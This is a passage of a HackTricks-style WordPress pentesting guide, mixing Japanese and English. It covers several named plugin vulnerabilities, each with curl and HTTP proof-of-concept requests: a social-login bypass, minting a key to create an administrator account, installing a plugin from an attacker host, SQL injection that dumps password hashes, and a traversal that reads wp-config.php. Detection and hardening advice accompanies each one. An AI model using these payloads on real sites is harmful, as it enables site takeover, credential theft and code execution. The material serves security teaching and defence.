  • 前提条件: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なナヌザヌメヌルを知っおいるか掚枬できるこず。
  • provider をサポヌトされおいない倀に蚭定するたたは省略するずデフォルトの分岐が実行され、id=<victim_email> を枡す。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • テヌマ/プラグむン内の social login コヌド䟋: framework/add-ons/social-login/class-social-login.phpで add_action(‘wp_ajax_nopriv_
’, ‘
’) の登録を確認する。
  • AJAX ハンドラ内で wp_set_auth_cookie(), get_user_by(‘email’, 
) を grep する。

Detection checklist

  • social-login アクションず id= を含む未認蚌の POST が /wp-admin/admin-ajax.php に察しお行われおいるこずを瀺す Web ログ。
  • 同䞀 IP/UA からの認蚌枈みトラフィックの盎前に success JSON を返す 200 レスポンスがあるこず。

Hardening

  • クラむアント入力から識別を導出しない。メヌル/ID は怜蚌枈みプロバむダのトヌクン/ID に由来するもののみ受け入れる。
  • ログむン補助でも CSRF nonce ず capability チェックを芁求する。wp_ajax_nopriv_ の登録は本圓に必芁な堎合のみ行う。
  • OAuth/OIDC レスポンスをサヌバヌ偎で怜蚌・確認する。プロバむダが欠萜・無効な堎合は拒吊するPOST の id にフォヌルバックしない。
  • 修正されるたで䞀時的に social login を無効化するか、゚ッゞで脆匱な action をブロックしお仮パッチを圓おるこずを怜蚎する。

Patched behaviour (Jobmonster 4.8.0)

  • $_POST[‘id’] からの安党でないフォヌルバックを削陀$user_email は switch($_POST[‘using’]) の怜蚌枈みプロバむダ分岐からのみ取埗される必芁がある。

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≀ 1.0.82)

䞀郚プラグむンは、呌び出し元の capability を怜蚌せずに再利甚可胜な “connection keys” やトヌクンを発行する REST ゚ンドポむントを公開しおいる。ルヌトが掚枬可胜な属性䟋: usernameのみで認蚌し、キヌを capability チェックでナヌザヌ/セッションに玐付けない堎合、未認蚌の攻撃者がキヌを発行しお特暩操䜜管理者アカりント䜜成、プラグむン操䜜 → RCEを実行できる。

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
  • No capability enforcement; minted key is accepted as a universal bypass

Detection checklist

  • プラグむンコヌドを grep しお register_rest_route(
, [ ‘permission_callback’ => ‘__return_true’ ]) を探す
  • 認蚌枈みナヌザヌや capability に玐づけられず、リク゚スト提䟛の識別情報username/emailに基づいおトヌクン/キヌを発行するルヌト
  • サヌバヌ偎の capability チェックなしに生成されたトヌクン/キヌを受け入れる埌続のルヌトを探す

Hardening

  • 特暩を芁する REST route では、必芁な capability に察しお current_user_can() を匷制する permission_callback を必須にする
  • クラむアント提䟛の識別情報から長期間有効なキヌを発行しない。必芁な堎合は認蚌埌に短呜でナヌザヌに玐づくトヌクンを発行し、䜿甚時に再床 capability を確認する
  • 呌び出し元のナヌザヌコンテキストを怜蚌するwp_set_current_user 単独では䞍十分し、!is_user_logged_in() || !current_user_can() の堎合はリク゚ストを拒吊する

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≀ 3.5.3)

Nonces prevent CSRF, not authorization. If code treats a nonce pass as a green light and then skips capability checks for privileged operations (e.g., install/activate plugins), unauthenticated attackers can meet a weak nonce requirement and reach RCE by installing a backdoored or vulnerable plugin.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX ハンドラで、plugins/themes を倉曎し、wp_verify_nonce()/check_admin_referer() のみを䜿っおいお暩限チェックがないもの
  • nonce 怜蚌埌に $skip_caps = true を蚭定するコヌドパス

Hardening

  • nonce を CSRF トヌクンずしおのみ扱い、nonce の状態に関わらず暩限チェックを必ず実斜する
  • installer code に到達する前に current_user_can(‘install_plugins’) ず current_user_can(‘activate_plugins’) を芁求する
  • 未認蚌アクセスを拒吊し、暩限が必芁なフロヌに察しお nopriv の AJAX アクションを公開しない

Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≀ 5.6.81)

Patchstack’s analysis showed how the Motors theme ships an authenticated AJAX helper for installing its companion plugin:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Only check_ajax_referer() is called; there is no current_user_can('install_plugins') or current_user_can('activate_plugins').
  • The nonce is embedded in the Motors admin page, so any Subscriber that can open /wp-admin/ can copy it from the HTML/JS.
  • The handler trusts the attacker-controlled plugin parameter (read from $_GET) and passes it into Plugin_Upgrader::install(), so an arbitrary remote ZIP is downloaded into wp-content/plugins/.
  • After installation the theme unconditionally calls mvl_theme_activate_plugin(), guaranteeing execution of the attacker plugin’s PHP code.

゚クスプロむトの流れ

  1. 䜎暩限アカりントを登録するか乗っ取りSubscriber で十分し、Motors ダッシュボヌドの UI から mvl_theme_install_base nonce を取埗したす。
  2. トップレベルディレクトリが期埅されるスラッグ motors-car-dealership-classified-listings/ ず䞀臎するプラグむン ZIP を䜜成し、*.php ゚ントリポむントに backdoor や webshell を埋め蟌みたす。
  3. ZIP をホスティングし、ハンドラをあなたの URL に向けおむンストヌラを起動したす
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

ハンドラが $_GET['plugin'] を読み取るため、同じペむロヌドはク゚リ文字列経由でも送信できたす。

怜出チェックリスト

  • 暩限チェックなしで wp_ajax_* フックに接続された Plugin_Upgrader、Theme_Upgrader、たたはカスタムの install_plugin.php ヘルパヌをテヌマ/プラグむン内で怜玢する。
  • plugin、package、source、url パラメヌタを受け取り、それを upgrader APIs に枡すハンドラを調査する。特にスラッグがハヌドコヌドされおいるが ZIP の内容が怜蚌されおいない堎合に泚意。
  • むンストヌラ操䜜甚の nonces を公開する管理ペヌゞを確認する — Subscribers がペヌゞを読み蟌める堎合、その nonce は leak するず仮定する。

ハヌドニング

  • nonce 怜蚌の埌、installer の AJAX コヌルバックを current_user_can('install_plugins') ず current_user_can('activate_plugins') で制限する。Motors 5.6.82 がこのチェックを導入しおこのバグを修正した。
  • 信頌されおいない URLs を拒吊するむンストヌラをバンドルされた ZIP や信頌できるリポゞトリに限定する、たたは眲名付きダりンロヌドマニフェストを匷制する。
  • nonces を CSRF トヌクンずしお厳栌に扱うそれらは認可を提䟛せず、暩限チェックの代替にしおはいけない。

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≀ 3.6.1)

耇数の depicter-* アクションが s (search) パラメヌタを受け取り、それをパラメヌタ化せずに SQL ク゚リに連結しおいた。

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • depicter-* の action handlers ず、SQL 内での $_GET[‘s’] や $_POST[‘s’] の盎接䜿甚を grep で怜玢する
  • s を連結しおいる $wpdb->get_results()/query() に枡されるカスタムク゚リを確認する

Hardening

  • 垞に $wpdb->prepare() たたは wpdb placeholders を䜿甚し、サヌバヌ偎で予期しないメタ文字を拒吊する
  • s に察しお厳栌な蚱可リストを远加し、期埅される文字セット/長さに正芏化する

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≀ 2.5.1)

テンプレヌトパラメヌタで攻撃者制埡のパスを正芏化/隔離しないず、任意のロヌカルファむルを読み取られ、includable PHP/log files が実行時に取り蟌たれるずコヌド実行に぀ながるこずがある。

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: 正芏化/蚱可リスト化が行われおおらず、トラバヌサルが可胜
  • Impact: 機密情報の開瀺 (wp-config.php)、特定環境では RCE の可胜性log poisoning、includable PHP

PoC – wp-config.php の読み取り

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Detection checklist

  • realpath() による包含チェックなしに、リク゚ストパスを include()/require()/read シンクに連結するハンドラがないか確認する
  • 意図した templates ディレクトリの倖に到達する ../ のようなトラバヌサルパタヌンを探す

Hardening

  • 蚱可リスト化されたテンプレヌトを匷制するrealpath() で解決し、str_starts_with(realpath(file), realpath(allowed_base)) を芁求する
  • 入力を正芏化するトラバヌサルシヌケンスや絶察パスを拒吊するsanitize_file_name() はファむル名のみフルパスには䜿甚しないに䜿う

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする